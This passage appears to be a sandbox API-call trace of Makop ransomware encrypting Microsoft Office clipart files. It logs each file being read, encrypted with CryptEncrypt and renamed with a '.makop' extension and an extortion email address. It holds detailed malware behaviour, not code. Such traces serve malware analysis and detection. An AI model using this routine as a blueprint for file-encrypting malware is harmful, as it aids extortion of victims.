lpNumberOfBytesRead=0x6577ab4*=0x34cb, lpOverlapped=0x0) returned 1 [0107.967] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x34d0) returned 1 [0107.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.968] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x34d0, lpOverlapped=0x0) returned 1 [0107.968] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.968] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x35a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.968] SetEndOfFile (hFile=0xf0) returned 1 [0107.975] GetProcessHeap () returned 0x48a0000 [0107.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.976] GetProcessHeap () returned 0x48a0000 [0107.976] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.976] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.977] CloseHandle (hObject=0xf0) returned 1 [0107.977] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0107.977] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0107.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.980] GetProcessHeap () returned 0x48a0000 [0107.980] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.980] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x3, lpOverlapped=0x0) returned 1 [0107.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.984] GetProcessHeap () returned 0x48a0000 [0107.984] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0107.985] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0107.985] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0107.985] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0107.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0107.985] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0107.985] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0107.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0107.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0107.986] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0107.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.986] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4edd, lpOverlapped=0x0) returned 1 [0107.988] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ee0) returned 1 [0107.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ee0, lpOverlapped=0x0) returned 1 [0107.988] CryptDestroyKey (hKey=0x48c7128) returned 1 [0107.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.988] SetEndOfFile (hFile=0xf0) returned 1 [0107.996] GetProcessHeap () returned 0x48a0000 [0107.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0107.996] GetProcessHeap () returned 0x48a0000 [0107.996] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0107.996] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0107.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0107.998] CloseHandle (hObject=0xf0) returned 1 [0107.998] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0107.998] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF") returned 63 [0107.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0107.999] GetProcessHeap () returned 0x48a0000 [0107.999] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0107.999] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0107.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0107.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0108.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.004] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.004] GetProcessHeap () returned 0x48a0000 [0108.004] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.004] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.005] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.005] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.006] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.006] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.006] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4fe6, lpOverlapped=0x0) returned 1 [0108.008] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4ff0) returned 1 [0108.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.009] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4ff0, lpOverlapped=0x0) returned 1 [0108.009] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x50c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.009] SetEndOfFile (hFile=0xf0) returned 1 [0108.016] GetProcessHeap () returned 0x48a0000 [0108.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.016] GetProcessHeap () returned 0x48a0000 [0108.016] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.016] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.016] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.018] CloseHandle (hObject=0xf0) returned 1 [0108.018] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0108.018] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0108.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.019] GetProcessHeap () returned 0x48a0000 [0108.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.019] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0108.036] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.037] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.037] GetProcessHeap () returned 0x48a0000 [0108.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.037] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.037] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.037] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0108.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.039] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3d75, lpOverlapped=0x0) returned 1 [0108.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3d80) returned 1 [0108.041] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.041] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3d80, lpOverlapped=0x0) returned 1 [0108.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.042] SetEndOfFile (hFile=0xf0) returned 1 [0108.049] GetProcessHeap () returned 0x48a0000 [0108.049] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0108.049] GetProcessHeap () returned 0x48a0000 [0108.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0108.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0108.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0108.053] CloseHandle (hObject=0xf0) returned 1 [0108.053] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0108.053] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 63 [0108.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0108.054] GetProcessHeap () returned 0x48a0000 [0108.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0108.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0108.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0108.055] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0108.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0108.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0108.060] GetProcessHeap () returned 0x48a0000 [0108.060] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0108.060] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0108.060] CryptDestroyKey (hKey=0x48c7128) returned 1 [0108.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0108.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0108.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0108.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0108.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0108.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, 